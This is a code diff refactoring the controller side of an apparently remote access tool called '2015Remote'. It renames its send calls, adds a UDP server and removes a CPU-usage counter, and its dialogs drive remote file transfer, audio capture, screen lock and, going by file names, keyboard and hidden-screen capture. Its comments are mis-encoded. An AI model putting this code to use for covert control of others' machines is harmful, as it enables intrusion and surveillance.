@@ -323,7 +324,6 @@
|
|||||||
<ClCompile Include="BuildDlg.cpp" />
|
<ClCompile Include="BuildDlg.cpp" />
|
||||||
<ClCompile Include="Chat.cpp" />
|
<ClCompile Include="Chat.cpp" />
|
||||||
<ClCompile Include="CPasswordDlg.cpp" />
|
<ClCompile Include="CPasswordDlg.cpp" />
|
||||||
<ClCompile Include="CpuUseage.cpp" />
|
|
||||||
<ClCompile Include="CTextDlg.cpp" />
|
<ClCompile Include="CTextDlg.cpp" />
|
||||||
<ClCompile Include="DecryptDlg.cpp" />
|
<ClCompile Include="DecryptDlg.cpp" />
|
||||||
<ClCompile Include="EditDialog.cpp" />
|
<ClCompile Include="EditDialog.cpp" />
|
||||||
@@ -335,6 +335,7 @@
|
|||||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="InputDlg.cpp" />
|
<ClCompile Include="InputDlg.cpp" />
|
||||||
<ClCompile Include="IOCPServer.cpp" />
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
|
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||||
<ClCompile Include="Loader.c">
|
<ClCompile Include="Loader.c">
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||||
|
|||||||
@@ -11,7 +11,6 @@
|
|||||||
<ClCompile Include="BuildDlg.cpp" />
|
<ClCompile Include="BuildDlg.cpp" />
|
||||||
<ClCompile Include="Chat.cpp" />
|
<ClCompile Include="Chat.cpp" />
|
||||||
<ClCompile Include="CPasswordDlg.cpp" />
|
<ClCompile Include="CPasswordDlg.cpp" />
|
||||||
<ClCompile Include="CpuUseage.cpp" />
|
|
||||||
<ClCompile Include="CTextDlg.cpp" />
|
<ClCompile Include="CTextDlg.cpp" />
|
||||||
<ClCompile Include="DecryptDlg.cpp" />
|
<ClCompile Include="DecryptDlg.cpp" />
|
||||||
<ClCompile Include="EditDialog.cpp" />
|
<ClCompile Include="EditDialog.cpp" />
|
||||||
@@ -49,6 +48,7 @@
|
|||||||
<ClCompile Include="file\CFileListCtrl.cpp">
|
<ClCompile Include="file\CFileListCtrl.cpp">
|
||||||
<Filter>file</Filter>
|
<Filter>file</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\..\client\Audio.h" />
|
<ClInclude Include="..\..\client\Audio.h" />
|
||||||
@@ -64,7 +64,6 @@
|
|||||||
<ClInclude Include="BuildDlg.h" />
|
<ClInclude Include="BuildDlg.h" />
|
||||||
<ClInclude Include="Chat.h" />
|
<ClInclude Include="Chat.h" />
|
||||||
<ClInclude Include="CPasswordDlg.h" />
|
<ClInclude Include="CPasswordDlg.h" />
|
||||||
<ClInclude Include="CpuUseage.h" />
|
|
||||||
<ClInclude Include="CTextDlg.h" />
|
<ClInclude Include="CTextDlg.h" />
|
||||||
<ClInclude Include="DateVerify.h" />
|
<ClInclude Include="DateVerify.h" />
|
||||||
<ClInclude Include="DecryptDlg.h" />
|
<ClInclude Include="DecryptDlg.h" />
|
||||||
@@ -109,6 +108,8 @@
|
|||||||
<ClInclude Include="file\CFileListCtrl.h">
|
<ClInclude Include="file\CFileListCtrl.h">
|
||||||
<Filter>file</Filter>
|
<Filter>file</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="IOCPUDPServer.h" />
|
||||||
|
<ClInclude Include="Server.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="2015Remote.rc" />
|
<ResourceCompile Include="2015Remote.rc" />
|
||||||
|
|||||||
@@ -11,7 +11,7 @@
|
|||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
||||||
|
|
||||||
CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO)
|
: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO)
|
||||||
, m_bSend(FALSE)
|
, m_bSend(FALSE)
|
||||||
{
|
{
|
||||||
@@ -56,7 +56,7 @@ BOOL CAudioDlg::OnInitDialog()
|
|||||||
SetWindowText(strString);
|
SetWindowText(strString);
|
||||||
|
|
||||||
BYTE bToken = COMMAND_NEXT;
|
BYTE bToken = COMMAND_NEXT;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
|
||||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||||
@@ -84,7 +84,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
|
|||||||
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
if (szBuffer != NULL && dwBufferSize > 0)
|
if (szBuffer != NULL && dwBufferSize > 0)
|
||||||
This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
This->m_iocpServer->Send2Client(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
||||||
}
|
}
|
||||||
This->m_bThreadRun = FALSE;
|
This->m_bThreadRun = FALSE;
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ class CAudioDlg : public DialogBase
|
|||||||
DECLARE_DYNAMIC(CAudioDlg)
|
DECLARE_DYNAMIC(CAudioDlg)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
virtual ~CAudioDlg();
|
virtual ~CAudioDlg();
|
||||||
|
|
||||||
DWORD m_nTotalRecvBytes;
|
DWORD m_nTotalRecvBytes;
|
||||||
|
|||||||
@@ -13,7 +13,7 @@
|
|||||||
// CChat dialog
|
// CChat dialog
|
||||||
|
|
||||||
|
|
||||||
CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
CChat::CChat(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||||
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT)
|
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT)
|
||||||
{
|
{
|
||||||
}
|
}
|
||||||
@@ -53,7 +53,7 @@ BOOL CChat::OnInitDialog()
|
|||||||
m_editNewMsg.SetLimitText(4079);
|
m_editNewMsg.SetLimitText(4079);
|
||||||
// TODO: Add extra initialization here
|
// TODO: Add extra initialization here
|
||||||
BYTE bToken = COMMAND_NEXT_CHAT;
|
BYTE bToken = COMMAND_NEXT_CHAT;
|
||||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||||
|
|
||||||
@@ -89,7 +89,7 @@ void CChat::OnButtonSend()
|
|||||||
return; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢΪ<CFA2>ղ<EFBFBD><D5B2><EFBFBD><EFBFBD><EFBFBD>
|
return; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢΪ<CFA2>ղ<EFBFBD><D5B2><EFBFBD><EFBFBD><EFBFBD>
|
||||||
}
|
}
|
||||||
m_editTip.ShowWindow(SW_HIDE);
|
m_editTip.ShowWindow(SW_HIDE);
|
||||||
m_iocpServer->Send(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
|
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
|
||||||
SYSTEMTIME st;
|
SYSTEMTIME st;
|
||||||
GetLocalTime(&st);
|
GetLocalTime(&st);
|
||||||
char Text[5120] = { 0 };
|
char Text[5120] = { 0 };
|
||||||
@@ -171,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK()
|
|||||||
{
|
{
|
||||||
|
|
||||||
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
|
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
|
||||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
void CChat::OnBnClickedButton_UNLOCK()
|
void CChat::OnBnClickedButton_UNLOCK()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
|
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
|
||||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ class CChat : public DialogBase
|
|||||||
{
|
{
|
||||||
// Construction
|
// Construction
|
||||||
public:
|
public:
|
||||||
CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
CChat(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||||
void OnReceiveComplete();
|
void OnReceiveComplete();
|
||||||
void OnReceive();
|
void OnReceive();
|
||||||
|
|
||||||
|
|||||||
@@ -1,55 +0,0 @@
|
|||||||
#include "stdafx.h"
|
|
||||||
#include "CpuUseage.h"
|
|
||||||
|
|
||||||
//ϵͳ<CFB5><CDB3><EFBFBD>ܼ<EFBFBD><DCBC><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
CCpuUsage::CCpuUsage()
|
|
||||||
{
|
|
||||||
m_hQuery = NULL;
|
|
||||||
m_pCounterStruct = NULL;
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
CCpuUsage::~CCpuUsage()
|
|
||||||
{
|
|
||||||
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
if (m_pCounterStruct)
|
|
||||||
delete m_pCounterStruct;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
BOOL CCpuUsage::Init()
|
|
||||||
{
|
|
||||||
if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) //<2F><EFBFBD><F2BFAABC><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
return FALSE;
|
|
||||||
|
|
||||||
m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
|
|
||||||
|
|
||||||
//ͳ<>Ƹ<EFBFBD><C6B8><EFBFBD>Ȥ<EFBFBD><C8A4>ϵͳ<CFB5><CDB3>Ϣʱ<CFA2><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD><EFBFBD>Ӧ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD>
|
|
||||||
PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName,
|
|
||||||
(DWORD_PTR) m_pCounterStruct, &(m_pCounterStruct->hCounter));
|
|
||||||
if (ERROR_SUCCESS != pdh_status)
|
|
||||||
{
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
int CCpuUsage::GetUsage()
|
|
||||||
{
|
|
||||||
PDH_FMT_COUNTERVALUE pdhFormattedValue;
|
|
||||||
|
|
||||||
PdhCollectQueryData(m_hQuery);
|
|
||||||
|
|
||||||
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
|
||||||
if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter,
|
|
||||||
PDH_FMT_LONG,
|
|
||||||
NULL,
|
|
||||||
&pdhFormattedValue ))
|
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
return pdhFormattedValue.longValue;
|
|
||||||
}
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <pdh.h>
|
|
||||||
#include <pdhmsg.h>
|
|
||||||
|
|
||||||
#pragma comment(lib,"PDH.lib")
|
|
||||||
|
|
||||||
#define MAX_RAW_VALUES 20
|
|
||||||
|
|
||||||
//process <20><>Ŀ<EFBFBD>µ<EFBFBD>% Processor Time<6D><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǹ<EFBFBD><C7B9>ڽ<EFBFBD><DABD><EFBFBD>CPUʹ<55>ʵ<EFBFBD>
|
|
||||||
const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
|
|
||||||
|
|
||||||
typedef struct _tag_PDHCounterStruct {
|
|
||||||
HCOUNTER hCounter;
|
|
||||||
int nNextIndex;
|
|
||||||
int nOldestIndex;
|
|
||||||
int nRawCount;
|
|
||||||
PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES];
|
|
||||||
} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
|
|
||||||
|
|
||||||
|
|
||||||
class CCpuUsage
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
CCpuUsage();
|
|
||||||
virtual ~CCpuUsage();
|
|
||||||
BOOL Init();
|
|
||||||
int GetUsage();
|
|
||||||
|
|
||||||
protected:
|
|
||||||
|
|
||||||
PPDHCOUNTERSTRUCT m_pCounterStruct;
|
|
||||||
HQUERY m_hQuery;
|
|
||||||
};
|
|
||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
|
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
|
||||||
|
|
||||||
DecryptDlg::DecryptDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||||
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) {
|
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ class DecryptDlg : public CDialogBase
|
|||||||
DECLARE_DYNAMIC(DecryptDlg)
|
DECLARE_DYNAMIC(DecryptDlg)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
DecryptDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
|
DecryptDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
|
||||||
virtual ~DecryptDlg();
|
virtual ~DecryptDlg();
|
||||||
|
|
||||||
VOID OnReceiveComplete();
|
VOID OnReceiveComplete();
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ float GetScreenScalingFactor() {
|
|||||||
return dpiX / 96.0f;
|
return dpiX / 96.0f;
|
||||||
}
|
}
|
||||||
|
|
||||||
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||||
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER)
|
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER)
|
||||||
{
|
{
|
||||||
m_fScalingFactor = GetScreenScalingFactor();
|
m_fScalingFactor = GetScreenScalingFactor();
|
||||||
@@ -1022,7 +1022,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
|||||||
|
|
||||||
bPacket[0] = COMMAND_LIST_FILES;
|
bPacket[0] = COMMAND_LIST_FILES;
|
||||||
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
|
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
|
|
||||||
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
|
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
|
||||||
@@ -1481,7 +1481,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
|
|||||||
bPacket[0] = COMMAND_DOWN_FILES;
|
bPacket[0] = COMMAND_DOWN_FILES;
|
||||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
|
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||||
|
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||||
@@ -1538,7 +1538,7 @@ BOOL CFileManagerDlg::SendUploadJob()
|
|||||||
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
||||||
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
|
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
|
||||||
|
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||||
|
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
|
|
||||||
@@ -1569,7 +1569,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
|
|||||||
}
|
}
|
||||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
|
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||||
|
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||||
@@ -1749,7 +1749,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1822,7 +1822,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
|
|||||||
dwOffsetLow += dwBytesWrite;
|
dwOffsetLow += dwBytesWrite;
|
||||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1896,19 +1896,19 @@ void CFileManagerDlg::EndRemoteDeleteFile()
|
|||||||
void CFileManagerDlg::SendException()
|
void CFileManagerDlg::SendException()
|
||||||
{
|
{
|
||||||
BYTE bBuff = COMMAND_EXCEPTION;
|
BYTE bBuff = COMMAND_EXCEPTION;
|
||||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::SendContinue()
|
void CFileManagerDlg::SendContinue()
|
||||||
{
|
{
|
||||||
BYTE bBuff = COMMAND_CONTINUE;
|
BYTE bBuff = COMMAND_CONTINUE;
|
||||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::SendStop()
|
void CFileManagerDlg::SendStop()
|
||||||
{
|
{
|
||||||
BYTE bBuff = COMMAND_STOP;
|
BYTE bBuff = COMMAND_STOP;
|
||||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::ShowProgress()
|
void CFileManagerDlg::ShowProgress()
|
||||||
@@ -2068,7 +2068,7 @@ void CFileManagerDlg::SendTransferMode()
|
|||||||
BYTE bToken[5];
|
BYTE bToken[5];
|
||||||
bToken[0] = COMMAND_SET_TRANSFER_MODE;
|
bToken[0] = COMMAND_SET_TRANSFER_MODE;
|
||||||
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
|
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
|
||||||
m_iocpServer->Send(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
|
m_iocpServer->Send2Client(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::SendFileData()
|
void CFileManagerDlg::SendFileData()
|
||||||
@@ -2113,7 +2113,7 @@ void CFileManagerDlg::SendFileData()
|
|||||||
if (nNumberOfBytesRead > 0)
|
if (nNumberOfBytesRead > 0)
|
||||||
{
|
{
|
||||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||||
}
|
}
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
@@ -2192,7 +2192,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
|
|||||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
|
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
|
||||||
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
||||||
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2259,7 +2259,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
|
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
|
||||||
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
|
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
|
||||||
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
|
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
*pResult = 1;
|
*pResult = 1;
|
||||||
@@ -2328,7 +2328,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
|
|||||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||||
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
||||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2342,7 +2342,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
|
|||||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
